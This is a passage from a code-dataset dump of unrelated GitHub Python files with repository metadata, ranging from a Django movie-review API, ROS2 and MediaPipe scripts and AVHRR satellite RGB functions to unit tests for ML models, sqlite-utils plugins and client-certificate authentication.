status=HTTPStatus.BAD_REQUEST)\n\n\nclass ReviewDetail(APIView):\n    \"\"\"\n    View to retrieve, update or delete a review.\n    \"\"\"\n\n    permission_classes = [ReviewUserOrReadOnly]\n\n    def get(self, request, pk):\n        review = get_object_or_404(Review, pk=pk)\n        serializer = ReviewSerializer(review)\n        return Response(serializer.data)\n\n    def put(self, request, pk):\n        review = get_object_or_404(Review, pk=pk)\n        serializer = ReviewSerializer(review, data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=HTTPStatus.BAD_REQUEST)\n\n    def delete(self, request, pk):\n        review = get_object_or_404(Review, pk=pk)\n        review.delete()\n        return Response(status=HTTPStatus.NO_CONTENT)\n\n\nclass MovieReview(APIView):\n    \"\"\"\n    Movie review list and create.\n    \"\"\"\n\n    permission_classes = [IsAuthenticated]\n\n    def get(self, request, pk):\n        movie = get_object_or_404(Movie, pk=pk)\n        reviews = Review.objects.filter(movie=movie)\n        serializer = ReviewSerializer(reviews, many=True)\n        return Response(serializer.data, status=HTTPStatus.OK)\n\n    def post(self, request, pk):\n        \"\"\" \"\n        create a new review for a movie with the given pk in the url.\n        \"\"\"\n        movie = get_object_or_404(Movie, pk=pk)\n        review_user = request.user\n        review_queryset = Review.objects.filter(movie=movie, user=review_user)\n        serializer = ReviewSerializer(data=request.data)\n\n        if review_queryset.exists():\n            return Response({\"message\": \"You have already reviewed this movie.\"}, status=HTTPStatus.BAD_REQUEST)\n\n        print(serializer.is_valid())\n\n        if serializer.is_valid():\n            if movie.number_ratings == 0:\n                movie.average_rating = serializer.validated_data[\"rating\"]\n            else:\n                movie.average_rating = (movie.average_rating + serializer.validated_data[\"rating\"]) / 2\n            movie.number_ratings = movie.number_ratings + 1\n            movie.save()\n            print(movie)\n            serializer.save(movie=movie, user=review_user)\n            return Response(serializer.data, status=HTTPStatus.CREATED)\n        return Response(serializer.errors, status=HTTPStatus.BAD_REQUEST)\n","repo_name":"louis-agyapong/watchlist_app","sub_path":"watchlist/movie/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40171271371","text":"# coding: utf-8\n\n\nfrom math import log\n\n\nn = int(input())\n\nif n == 1:\n    print(n)\nelse:\n    digit = int(log(n, 2))\n    std = 2 ** (digit+1)\n    if std//2 == n:\n        print(n)\n    else:\n        gap = std - n\n        result = std - 2 * gap\n        print(result) \n","repo_name":"lee-seul/baekjoon","sub_path":"2164.py","file_name":"2164.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"17467967194","text":"import cv2\nimport mediapipe as mp\nimport numpy as np\n\nfrom recognition.hand_detector import hand_detector\n\n\nclass body_detector():\n\n    def __init__(self, mode=False, complex=1, smooth_landmarks=True, segmentation=True, smooth_segmentation=True,\n                 detectionCon=0.5, trackCon=0.5):\n        # save the input variables in local ones\n        self.mode = mode\n        self.complex = complex\n        self.smooth_landmarks = smooth_landmarks\n        self.segmentation = segmentation\n        self.smooth_segmentation = smooth_segmentation\n        self.detectionCon = detectionCon\n        self.trackCon = trackCon\n\n        # save the drawing information (from mediapipe)\n        self.mpDraw = mp.solutions.drawing_utils\n        self.mpDrawStyle = mp.solutions.drawing_styles\n        self.mpPose = mp.solutions.pose\n        self.pose = self.mpPose.Pose(self.mode, self.complex, self.smooth_landmarks, self.segmentation,\n                                     self.smooth_segmentation, self.detectionCon, self.trackCon)\n        # create hand detector\n        self.hd = hand_detector()\n\n    def findPose(self, img, draw=True):\n        # convert to RGB\n        imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n        # position and sizeof camera stream\n        self.results = self.pose.process(imgRGB)\n        # Window size\n        width = 1280\n        height = 750\n        # Black screen to draw the landmarks on\n        black_image = np.zeros((height, width, 3), np.uint8)\n        black_image= self.hd.findHandsAB(img, black_image)\n\n        # draw silhouette only if landmarks are not null\n        if self.results.pose_landmarks:\n            if draw:\n                self.mpDraw.draw_landmarks(black_image, self.results.pose_landmarks,\n                                           self.mpPose.POSE_CONNECTIONS,\n                                           # Farbe und Dicke sowie die Punktenradius zeichnen und festlegen, für Linien und anschließend für die Punkte\n                                           self.mpDraw.DrawingSpec(color=(245, 117, 66), thickness=5, circle_radius=2),\n                                           self.mpDraw.DrawingSpec(color=(245, 66, 230), thickness=5, circle_radius=2))\n        return black_image\n","repo_name":"vanthunder/HSHL_UC_SS22","sub_path":"de.hshl.uc/src/recognition/body_detector.py","file_name":"body_detector.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33849365103","text":"class Solution:\n    def letterCasePermutation(self, S: str) -> List[str]:\n        '''\n        permutation with case changing using susets method\n        copy list -> modify case -> append[i]\n        '''\n        \n        result = [S]\n        \n        for i in range(len(S)):\n            if S[i].isalpha() == False:\n                continue\n                \n            size = len(result)\n            \n            #copy list -> modify -> append\n            for j in range(size):\n                copy = list(result[j])\n                \n                #modify only index i\n                copy[i] = self.switchCase(S[i])\n                \n                #append[i]\n                val = \"\".join(copy)\n                result.append(val)\n                \n        return result\n            \n    def switchCase(self, c):\n        if c.isupper() == True:\n            return c.lower()\n        else:\n            return c.upper()","repo_name":"cosmicRover/algoGrind","sub_path":"subsets/perm-case-changing.py","file_name":"perm-case-changing.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22458794206","text":"import os\nimport unittest\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\n\nfrom metal.end_model import EndModel, LogisticRegression\nfrom metal.end_model.identity_module import IdentityModule\nfrom metal.metrics import METRICS\n\n\nclass EndModelTest(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls):\n        # Set seed\n        np.random.seed(1)\n\n        n = 2000\n\n        X = np.random.random((n, 2)) * 2 - 1\n        Y = (X[:, 0] > X[:, 1] + 0.25).astype(int) + 1\n\n        X = torch.tensor(X, dtype=torch.float)\n        Y = torch.tensor(Y, dtype=torch.long)\n\n        Xs = [X[:1000], X[1000:1500], X[1500:]]\n        Ys = [Y[:1000], Y[1000:1500], Y[1500:]]\n        cls.single_problem = (Xs, Ys)\n\n    def test_logreg(self):\n        em = LogisticRegression(seed=1, input_dim=2, verbose=False)\n        Xs, Ys = self.single_problem\n        em.train_model(\n            (Xs[0], Ys[0]), valid_data=(Xs[1], Ys[1]), n_epochs=5, checkpoint=False\n        )\n        score = em.score((Xs[2], Ys[2]), verbose=False)\n        self.assertGreater(score, 0.95)\n\n    def test_softmax(self):\n        em = LogisticRegression(seed=1, input_dim=2, output_dim=3, verbose=False)\n        Xs, _ = self.single_problem\n        Ys = []\n        for X in Xs:\n            class1 = X[:, 0] < X[:, 1]\n            class2 = X[:, 0] > X[:, 1] + 0.5\n            class3 = X[:, 0] > X[:, 1]\n            Y = torch.argmax(torch.stack([class1, class2, class3], dim=1), dim=1) + 1\n            Ys.append(Y)\n        em.train_model(\n            (Xs[0], Ys[0]),\n            valid_data=(Xs[1], Ys[1]),\n            lr=0.1,\n            n_epochs=10,\n            checkpoint=False,\n        )\n        score = em.score((Xs[2], Ys[2]), verbose=False)\n        self.assertGreater(score, 0.95)\n\n    def test_singletask(self):\n        \"\"\"Test basic single-task end model\"\"\"\n        em = EndModel(\n            seed=1,\n            input_batchnorm=False,\n            middle_batchnorm=False,\n            input_dropout=0.0,\n            middle_dropout=0.0,\n            layer_out_dims=[2, 10, 2],\n            verbose=False,\n        )\n        Xs, Ys = self.single_problem\n        em.train_model(\n            (Xs[0], Ys[0]), valid_data=(Xs[1], Ys[1]), n_epochs=5, checkpoint=False\n        )\n        score = em.score((Xs[2], Ys[2]), verbose=False)\n        self.assertGreater(score, 0.95)\n\n    def test_singletask_extras(self):\n        \"\"\"Test batchnorm and dropout\"\"\"\n        em = EndModel(\n            seed=1,\n            input_batchnorm=True,\n            middle_batchnorm=True,\n            input_dropout=0.01,\n            middle_dropout=0.01,\n            layer_out_dims=[2, 10, 2],\n            verbose=False,\n        )\n        Xs, Ys = self.single_problem\n        em.train_model(\n            (Xs[0], Ys[0]), valid_data=(Xs[1], Ys[1]), n_epochs=5, checkpoint=False\n        )\n        score = em.score((Xs[2], Ys[2]), verbose=False)\n        self.assertGreater(score, 0.95)\n\n    def test_custom_modules(self):\n        \"\"\"Test custom input/head modules\"\"\"\n        input_module = nn.Sequential(IdentityModule(), nn.Linear(2, 10))\n        middle_modules = [nn.Linear(10, 8), IdentityModule()]\n        head_module = nn.Sequential(nn.Linear(8, 2), IdentityModule())\n        em = EndModel(\n            seed=1,\n            input_module=input_module,\n            middle_modules=middle_modules,\n            head_module=head_module,\n            layer_out_dims=[10, 8, 8],\n            verbose=False,\n        )\n        Xs, Ys = self.single_problem\n        em.train_model(\n            (Xs[0], Ys[0]),\n            valid_data=(Xs[1], Ys[1]),\n            n_epochs=5,\n            verbose=False,\n            checkpoint=False,\n            show_plots=False,\n        )\n        score = em.score((Xs[2], Ys[2]), verbose=False)\n        self.assertGreater(score, 0.95)\n\n    def test_scoring(self):\n        \"\"\"Test the metrics whole way through\"\"\"\n        em = EndModel(\n            seed=1,\n            batchnorm=False,\n            dropout=0.0,\n            layer_out_dims=[2, 10, 2],\n            verbose=False,\n        )\n        Xs, Ys = self.single_problem\n        em.train_model(\n            (Xs[0], Ys[0]), valid_data=(Xs[1], Ys[1]), n_epochs=5, checkpoint=False\n        )\n        metrics = list(METRICS.keys())\n        scores = em.score((Xs[2], Ys[2]), metric=metrics, verbose=False)\n        for i, metric in enumerate(metrics):\n            self.assertGreater(scores[i], 0.95)\n\n    def test_determinism(self):\n        \"\"\"Test whether training and scoring is deterministic given seed\"\"\"\n        em = EndModel(\n            seed=123,\n            batchnorm=True,\n            dropout=0.1,\n            layer_out_dims=[2, 10, 2],\n            verbose=False,\n        )\n        Xs, Ys = self.single_problem\n        em.train_model(\n            (Xs[0], Ys[0]), valid_data=(Xs[1], Ys[1]), n_epochs=1, checkpoint=False\n        )\n        score_1 = em.score((Xs[2], Ys[2]), verbose=False)\n\n        # Test scoring determinism\n        score_2 = em.score((Xs[2], Ys[2]), verbose=False)\n        self.assertEqual(score_1, score_2)\n\n        # Test training determinism\n        em_2 = EndModel(\n            seed=123,\n            batchnorm=True,\n            dropout=0.1,\n            layer_out_dims=[2, 10, 2],\n            verbose=False,\n        )\n        em_2.train_model(\n            (Xs[0], Ys[0]), valid_data=(Xs[1], Ys[1]), n_epochs=1, checkpoint=False\n        )\n        score_3 = em_2.score((Xs[2], Ys[2]), verbose=False)\n        self.assertEqual(score_1, score_3)\n\n    def test_save_and_load(self):\n        \"\"\"Test basic saving and loading\"\"\"\n        em = EndModel(\n            seed=1337,\n            input_batchnorm=False,\n            middle_batchnorm=False,\n            input_dropout=0.0,\n            middle_dropout=0.0,\n            layer_out_dims=[2, 10, 2],\n            verbose=False,\n        )\n        Xs, Ys = self.single_problem\n        em.train_model(\n            (Xs[0], Ys[0]), valid_data=(Xs[1], Ys[1]), n_epochs=3, checkpoint=False\n        )\n        score = em.score((Xs[2], Ys[2]), verbose=False)\n\n        # Save model\n        SAVE_PATH = \"test_save_model.pkl\"\n        em.save(SAVE_PATH)\n\n        # Reload and make sure (a) score and (b) non-buffer, non-Parameter\n        # attributes are the same\n        em_2 = EndModel.load(SAVE_PATH)\n        self.assertEqual(em.seed, em_2.seed)\n        score_2 = em_2.score((Xs[2], Ys[2]), verbose=False)\n        self.assertEqual(score, score_2)\n\n        # Clean up\n        os.remove(SAVE_PATH)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"HazyResearch/metal","sub_path":"tests/metal/end_model/test_end_model.py","file_name":"test_end_model.py","file_ext":"py","file_size_in_byte":6493,"program_lang":"python","lang":"en","doc_type":"code","stars":418,"dataset":"github-code","pt":"18"}
{"seq_id":"14966027781","text":"import requests\nimport json\nimport tabulate\n\ndef pin_me(pincode):\n    url=\"https://api.postalpincode.in/pincode/\"+pincode\n    x = requests.get(url)\n    print(x.status_code)\n    val1=x.text\n    val2=json.loads(val1)[0]['PostOffice']\n    header=val2[0].keys()\n    rows =  [x.values() for x in val2]\n\n\n    print(tabulate.tabulate(rows,header))\n\n\npincode=str(input(\"Enter pincode:\"))\npin_me(pincode)\n","repo_name":"snehakp2000/MENTOR-TASK","sub_path":"TASK1/Python.py","file_name":"Python.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71237598759","text":"from threading import Lock\nimport os\nfrom termcolor import colored\n\nclass Logger():\n    def __init__(self):\n        self.__loading = \"|/-\\\\\"\n        self.__step = 0\n        self.__lock = Lock()\n\n    class Level():\n        SUCCESS = ('+', 'green')\n        INFO = ('!', 'yellow')\n        FAIL = ('-', 'red')\n        IMPORTANT = ('!', 'magenta')\n\n    def __clear_line(self):\n        (width, _) = os.get_terminal_size()\n        print(f\"\\r\" + width * \" \", end = \"\")\n\n    def display_loadbar(self, message:str):\n        self.__lock.acquire()\n        self.__clear_line()\n        self.__step += 1\n        print(f\"\\r[{self.__loading[self.__step%len(self.__loading)]}] {message}\", end=\"\")\n        self.__lock.release()\n\n    def log(self, message:str, level:Level = Level.SUCCESS):\n        self.__lock.acquire()\n        self.__clear_line()\n        print(colored(f\"\\r[{level[0]}] {message}\", level[1]))\n        self.__lock.release()\n","repo_name":"b3ny4/Trudy","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"15168899590","text":"# A collection of functions to create displays of different\n# AVHRR RGB products\n\n# AVHRR Night Microphysics RGB\ndef AVHRRNightMicrophysicsRGB(b3T, b4T, b5T):\n    # red = band5 - band4; -4K to 2K rescalled to 0 to 255\n    # grn = band4 - band3; -4K to 6K rescalled to 0 to 255\n    # blu = band4; 243K to 293K rescalled to 0 to 255\n    m3 = b3T.getMetadataMap()\n    b3TM = mask(b3T, '>', 0, 1) * b3T\n    b3TM.setMetadataMap(m3)\n    red = rescale(b5T-b4T, -4, 2, 0, 255)\n    grn = rescale(b4T-b3TM, -4, 6, 0, 255)\n    blu = rescale(b4T, 243, 293, 0, 255)\n    return combineRGB(red, grn, blu)\n\n# AVHRR Day Microphysics RGB\ndef AVHRRDayMicrophysicsRGB(b2R, b4T, b6R):\n    # red = band2; 0% to 100% reflectance rescalled to 0 to 255\n    # grn = band6; 0% to 70% reflectance rescalled to 0 to 255\n    # blu = band4; 203K to 323K rescalled to 0 to 255\n    red = rescale(b2R, 0, 100, 0, 255)\n    grn = rescale(b6R, 0, 70, 0, 255)\n    blu = rescale(b4T, 203, 323, 0, 255)\n    return combineRGB(red, grn, blu)\n\n# AVHRR Day Microphysics RGB\ndef AVHRRNaturalColorRGB(b1R, b2R, b6R):\n    # red = band6; 0% to 100% reflectance rescalled to 0 to 255\n    # grn = band2; 0% to 100% reflectance rescalled to 0 to 255\n    # blu = band1; 0% to 100% reflectance rescalled to 0 to 255\n    red = rescale(b6R, 0, 100, 0, 255)\n    grn = rescale(b2R, 0, 100, 0, 255)\n    blu = rescale(b1R, 0, 100, 0, 255)\n    return combineRGB(red, grn, blu)\n\n# AVHRR Cloud RGB\ndef AVHRRCloudRGB(b1R, b2R, b4T):\n    # red = band1; 0% to 100% reflectance rescalled to 0 to 255\n    # grn = band2; 0% to 100% reflectance rescalled to 0 to 255\n    # blu = band4 inverted; 323K to 203K rescalled to 0 to 255\n    red = rescale(b1R, 0, 100, 0, 255)\n    grn = rescale(b2R, 0, 100, 0, 255)\n    blu = rescale(b4T, 323, 203, 0, 255)\n    return combineRGB(red, grn, blu)\n","repo_name":"mcidasv/mcidasv","sub_path":"edu/wisc/ssec/mcidasv/resources/python/AVHRRFunctions.py","file_name":"AVHRRFunctions.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"}
{"seq_id":"20077455567","text":"from click.testing import CliRunner\nimport click\nimport importlib\nfrom sqlite_utils import cli, Database, hookimpl, plugins\n\n\ndef test_register_commands():\n    importlib.reload(cli)\n    assert plugins.get_plugins() == []\n\n    class HelloWorldPlugin:\n        __name__ = \"HelloWorldPlugin\"\n\n        @hookimpl\n        def register_commands(self, cli):\n            @cli.command(name=\"hello-world\")\n            def hello_world():\n                \"Print hello world\"\n                click.echo(\"Hello world!\")\n\n    try:\n        plugins.pm.register(HelloWorldPlugin(), name=\"HelloWorldPlugin\")\n        importlib.reload(cli)\n\n        assert plugins.get_plugins() == [\n            {\"name\": \"HelloWorldPlugin\", \"hooks\": [\"register_commands\"]}\n        ]\n\n        runner = CliRunner()\n        result = runner.invoke(cli.cli, [\"hello-world\"])\n        assert result.exit_code == 0\n        assert result.output == \"Hello world!\\n\"\n\n    finally:\n        plugins.pm.unregister(name=\"HelloWorldPlugin\")\n        importlib.reload(cli)\n        assert plugins.get_plugins() == []\n\n\ndef test_prepare_connection():\n    importlib.reload(cli)\n    assert plugins.get_plugins() == []\n\n    class HelloFunctionPlugin:\n        __name__ = \"HelloFunctionPlugin\"\n\n        @hookimpl\n        def prepare_connection(self, conn):\n            conn.create_function(\"hello\", 1, lambda name: f\"Hello, {name}!\")\n\n    db = Database(memory=True)\n\n    def _functions(db):\n        return [\n            row[0]\n            for row in db.execute(\n                \"select distinct name from pragma_function_list order by 1\"\n            ).fetchall()\n        ]\n\n    assert \"hello\" not in _functions(db)\n\n    try:\n        plugins.pm.register(HelloFunctionPlugin(), name=\"HelloFunctionPlugin\")\n\n        assert plugins.get_plugins() == [\n            {\"name\": \"HelloFunctionPlugin\", \"hooks\": [\"prepare_connection\"]}\n        ]\n\n        db = Database(memory=True)\n        assert \"hello\" in _functions(db)\n        result = db.execute('select hello(\"world\")').fetchone()[0]\n        assert result == \"Hello, world!\"\n\n        # Test execute_plugins=False\n        db2 = Database(memory=True, execute_plugins=False)\n        assert \"hello\" not in _functions(db2)\n\n    finally:\n        plugins.pm.unregister(name=\"HelloFunctionPlugin\")\n        assert plugins.get_plugins() == []\n","repo_name":"simonw/sqlite-utils","sub_path":"tests/test_plugins.py","file_name":"test_plugins.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":1356,"dataset":"github-code","pt":"18"}
{"seq_id":"25895602770","text":"# 1. Задайте список. Напишите программу, которая определит, присутствует ли в заданном списке строк некое число.\n\nfrom typing import List\n\n\ndef have_number(list_number, number):\n    have_number = False\n    for word in list_number:\n        for elem in word:\n            if (elem == str(number)):\n                have_number = True\n                print(f'Такой элемент есть')\n                break\n    if have_number == False:\n        print('Такого элемента нет')\n\n\nhave_number(['gwr5', 'sdGSDH', '8', 'sdHH'], 5)\n","repo_name":"StaciBunx/python","sub_path":"Seminar 3/Example1.py","file_name":"Example1.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"44108476514","text":"import arrow\nimport os\nimport mimetypes\n\ndef datetimeformat(date_str):\n    dt = arrow.get(date_str)\n    return dt.humanize()\n\ndef file_type(key):\n    file_info = os.path.splitext(key)\n    file_extension = file_info[1].lower()\n    try:\n        return mimetypes.types_map[file_extension]\n    except:\n        return 'Unknown'\n\ndef sizeof_fmt(num, suffix='B'):\n    for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:\n        if abs(num) < 1024.0:\n            return \"%3.1f%s%s\" % (num, unit, suffix)\n        num /= 1024.0\n    return \"%.1f%s%s\" % (num, 'Yi', suffix)","repo_name":"s3833684/aws-transcription","sub_path":"filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19672527180","text":"import rclpy\nfrom rclpy.node import Node\n\n# Need to add these Dependencies to the package.xml\nfrom std_msgs.msg import String\n\n\n# This class inherits from Node\nclass MinimalPublisher(Node):\n    \n    # Constructor\n    def __init__(self):\n        # Call the Node class Constructor and name it\n        super().__init__('minimal_publisher')\n        # Declares that the node publishes a String over a topic named topic\n        # with a queue size of 10\n        self.publisher_ = self.create_publisher(String, 'topic', 10)\n        # Create a timer that calles timer_callback every 0.5 secs\n        timer_period = 0.5  # seconds\n        self.timer = self.create_timer(timer_period, self.timer_callback)\n        # Counter\n        self.i = 0\n\n    def timer_callback(self):\n        # Create the message that will be published\n        msg = String()\n        msg.data = 'Hello World: %d' % self.i\n        # Hand the message to the publish that was created in __init__\n        self.publisher_.publish(msg)\n        # Log to the console that the message was published\n        self.get_logger().info('Publishing: \"%s\"' % msg.data)\n        # Increment the counter\n        self.i += 1\n\n\ndef main(args=None):\n    # Initialize the ros\n    rclpy.init(args=args)\n    \n    # Create the Publisher\n    minimal_publisher = MinimalPublisher()\n\n    # tell ros to spin up the node\n    rclpy.spin(minimal_publisher)\n\n    # Destroy the node explicitly\n    # (optional - otherwise it will be done automatically\n    # when the garbage collector destroys the node object)\n    minimal_publisher.destroy_node()\n    rclpy.shutdown()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"WyattH99/ros2-tutorials","sub_path":"ros2_ws/build/py_pubsub/build/lib/py_pubsub/publisher_member_function.py","file_name":"publisher_member_function.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20148345228","text":"import cv2\nimport numpy as np\nfrom scipy.spatial import ConvexHull\nfrom scipy.stats import norm\nfrom scipy.stats import truncnorm\n\nfrom matplotlib import pyplot as plt\n\nclass GroupShapeGeneration(object):\n\n    # This class takes the information from grouping and\n    # generates social group shapes.\n    # Group shapes are generated by calling the generate_group_shape\n    # method after classs initialization.\n    #\n    # Group shapes are formatted as either a sequence of coordinates\n    # in the counter clock direction representing the convex shape blob,\n    # or, if an image is given, formatted as drawing the blob on the image.\n\n    def __init__(self, msg):\n        # Initialization\n        # Inputs:\n        # msg: message class object (should have data loaded first)\n\n        if msg.if_processed_data:\n            self.video_position_matrix = msg.video_position_matrix\n            self.video_velocity_matrix = msg.video_velocity_matrix\n            self.video_pedidx_matrix = msg.video_pedidx_matrix\n        else:\n            raise Exception('Data has not been loaded!')\n        if msg.if_processed_group:\n            self.video_labels_matrix = msg.video_labels_matrix\n        else:\n            raise Exception('Grouping has not been performed!')\n\n        if (msg.dataset == 'ucy') and (msg.flag == 2):\n            self.const = 0.25\n        else:\n            self.const = 0.35\n        return\n\n    def _find_label_properties(self, frame_idx, label):\n        # Given a frame index and a group membership label (group id),\n        # find information (positions, velocities, person ids) of\n        # all the pedestrians in that group and that frame.\n        # Inputs:\n        # frame_idx: frame index of the video\n        # label: group membership label\n        # Outputs:\n        # positions: positions of the pedestrians in the given group and frame index.\n        # velocities: velocities of the pedestrians in the given group and frame index.\n        # pedidx: person ids of the pedestrians in the given group and frame index.\n\n        positions = []\n        velocities = []\n        pedidx = []\n        labels = self.video_labels_matrix[frame_idx]\n        for i in range(len(labels)):\n            if label == labels[i]:\n                positions.append(self.video_position_matrix[frame_idx][i])\n                velocities.append(self.video_velocity_matrix[frame_idx][i])\n                pedidx.append(self.video_pedidx_matrix[frame_idx][i])\n        return positions, velocities, pedidx\n    \n    @staticmethod\n    def draw_social_shapes(position, velocity, const):\n        # This function draws social group shapes\n        # given the positions and velocities of the pedestrians.\n\n        # Parameters from Rachel Kirby's thesis\n        front_coeff = 1.0\n        side_coeff = 2.0 / 3.0\n        rear_coeff = 0.5\n        safety_dist = 0.5\n        total_increments = 20 # controls the resolution of the blobs\n        quater_increments = total_increments / 4\n        angle_increment = 2 * np.pi / total_increments\n\n        # Draw a personal space for each pedestrian within the group\n        contour_points = []\n        for i in range(len(position)):\n            center_x = position[i][0]\n            center_y = position[i][1]\n            velocity_x = velocity[i][0]\n            velocity_y = velocity[i][1]\n\n            velocity_magnitude = np.sqrt(velocity_x ** 2 + velocity_y ** 2)\n            velocity_angle = np.arctan2(velocity_y, velocity_x)\n            variance_front = max(0.5, front_coeff * velocity_magnitude)\n            variance_side = side_coeff * variance_front\n            variance_rear = rear_coeff * variance_front\n\n            # Draw four quater-ovals with the axis determined by front, side and rear \"variances\"\n            # The overall shape contour does not have discontinuities.\n            for j in range(total_increments):\n                if (j // quater_increments) == 0:\n                    prev_variance = variance_front\n                    next_variance = variance_side\n                elif (j // quater_increments) == 1:\n                    prev_variance = variance_rear\n                    next_variance = variance_side\n                elif (j // quater_increments) == 2:\n                    prev_variance = variance_rear\n                    next_variance = variance_side\n                else:\n                    prev_variance = variance_front\n                    next_variance = variance_side\n                value = np.sqrt(const / ((np.cos(angle_increment * j) ** 2 / (2 * prev_variance)) + (np.sin(angle_increment * j) ** 2 / (2 * next_variance))))\n                value = max(safety_dist, value)\n                #value = 0.5\n\n                addition_angle = velocity_angle + angle_increment * j\n                x = center_x + np.cos(addition_angle) * value\n                y = center_y + np.sin(addition_angle) * value\n                contour_points.append((x, y))\n\n        #plt.scatter(np.array(contour_points)[:, 0], np.array(contour_points)[:, 1])\n        #plt.gca().set_aspect('equal', adjustable='box')\n        #plt.draw()\n        #plt.show()\n\n        # Get the convex hull of all the personal spaces\n        convex_hull_vertices = []\n        hull = ConvexHull(np.array(contour_points))\n        for i in hull.vertices:\n            hull_vertice = (contour_points[i][0], contour_points[i][1])\n            convex_hull_vertices.append(hull_vertice)\n\n        return convex_hull_vertices\n\n    def generate_group_shape(self, frame_idx, group_label):\n        # Method that generates group shape\n        # Inputs\n        # frame_idx: frame number\n        # group_label: group id\n        # frame(optional): an image in numpy array (opencv image format)\n        # Outputs\n        # If an image frame is not provided\n        # vertices: coordinates (in meters) that draws a convex shape blob \n        #           in the clockwise direction.\n        # If an image frame is provided\n        # frame: an updated image with a group shape drawn on it.\n        # (Regardless) pedidx: the person ids of the pedestrians in the given group.\n\n        positions, velocities, pedidx = self._find_label_properties(frame_idx, group_label)\n        if len(positions) == 0:\n            raise Exception('Group does not exist in the given frame!')\n        vertices = self.draw_social_shapes(positions, velocities, self.const)\n        return vertices, (positions, velocities, pedidx)\n","repo_name":"CMU-TBD/social_group","sub_path":"group_shape_generation.py","file_name":"group_shape_generation.py","file_ext":"py","file_size_in_byte":6398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"15316798574","text":"# N = no. of rows\r\n\r\ndef pattern(n):\r\n    x = n * (n + 1) / 2\r\n\r\n    for i in range(n):\r\n        for j in range(i + 1):\r\n            print(int(x), end=\" \")\r\n            x -= 1\r\n        print()\r\n\r\n\r\npattern(5)\r\n","repo_name":"yakshitgupta310/Patterns","sub_path":"pattern-12.py","file_name":"pattern-12.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"42619405317","text":"from unittest import mock\n\nfrom . import TestCase, create_environ, get_fixture_file_path\n\nfrom commissaire_http.authentication import httpbasicauth\nfrom commissaire_http.authentication import httpauthclientcert\n\n\nclass TestHTTPClientCertAuth(TestCase):\n    \"\"\"\n    Tests for the HTTPBasicAuthByEtcd class.\n    \"\"\"\n\n    def setUp(self):\n        self.cert = {\n            \"version\": 3,\n            \"notAfter\": \"Apr 11 08:32:52 2018 GMT\",\n            \"notBefore\": \"Apr 11 08:32:51 2016 GMT\",\n            \"serialNumber\": \"07\",\n            \"subject\": [\n                [[\"organizationName\", \"system:master\"]],\n                [[\"commonName\", \"system:master-proxy\"]]],\n            \"issuer\": [\n                [[\"commonName\", \"openshift-signer@1460363571\"]]\n             ]\n        }\n\n    def expect_forbidden(self, data=None, cn=None):\n        auth = httpauthclientcert.HTTPClientCertAuth(None, cn=cn)\n        environ = create_environ()\n        if data is not None:\n            environ['SSL_CLIENT_VERIFY'] = data\n\n        self.assertFalse(auth.authenticate(environ, mock.MagicMock()))\n\n    def test_invalid_certs(self):\n        \"\"\"\n        Verify authenticate denies when cert is missing or invalid\n        \"\"\"\n        self.expect_forbidden()\n        self.expect_forbidden(data={\"bad\": \"data\"})\n        self.expect_forbidden(data={\"subject\": ((\"no\", \"cn\"),)})\n\n    def test_valid_certs(self):\n        \"\"\"\n        Verify authenticate succeeds when cn matches, fails when it doesn't\n        \"\"\"\n        self.expect_forbidden(data=self.cert, cn=\"other-cn\")\n\n        auth = httpauthclientcert.HTTPClientCertAuth(None, cn=\"system:master-proxy\")\n        environ = create_environ()\n        environ['SSL_CLIENT_VERIFY'] = self.cert\n        self.assertTrue(auth.authenticate(environ, mock.MagicMock()))\n\n        # With no cn any is valid\n        auth = httpauthclientcert.HTTPClientCertAuth(None)\n        self.assertTrue(auth.authenticate(environ, mock.MagicMock()))\n","repo_name":"projectatomic/commissaire-http","sub_path":"test/test_authenticator_httpauthclientcert.py","file_name":"test_authenticator_httpauthclientcert.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
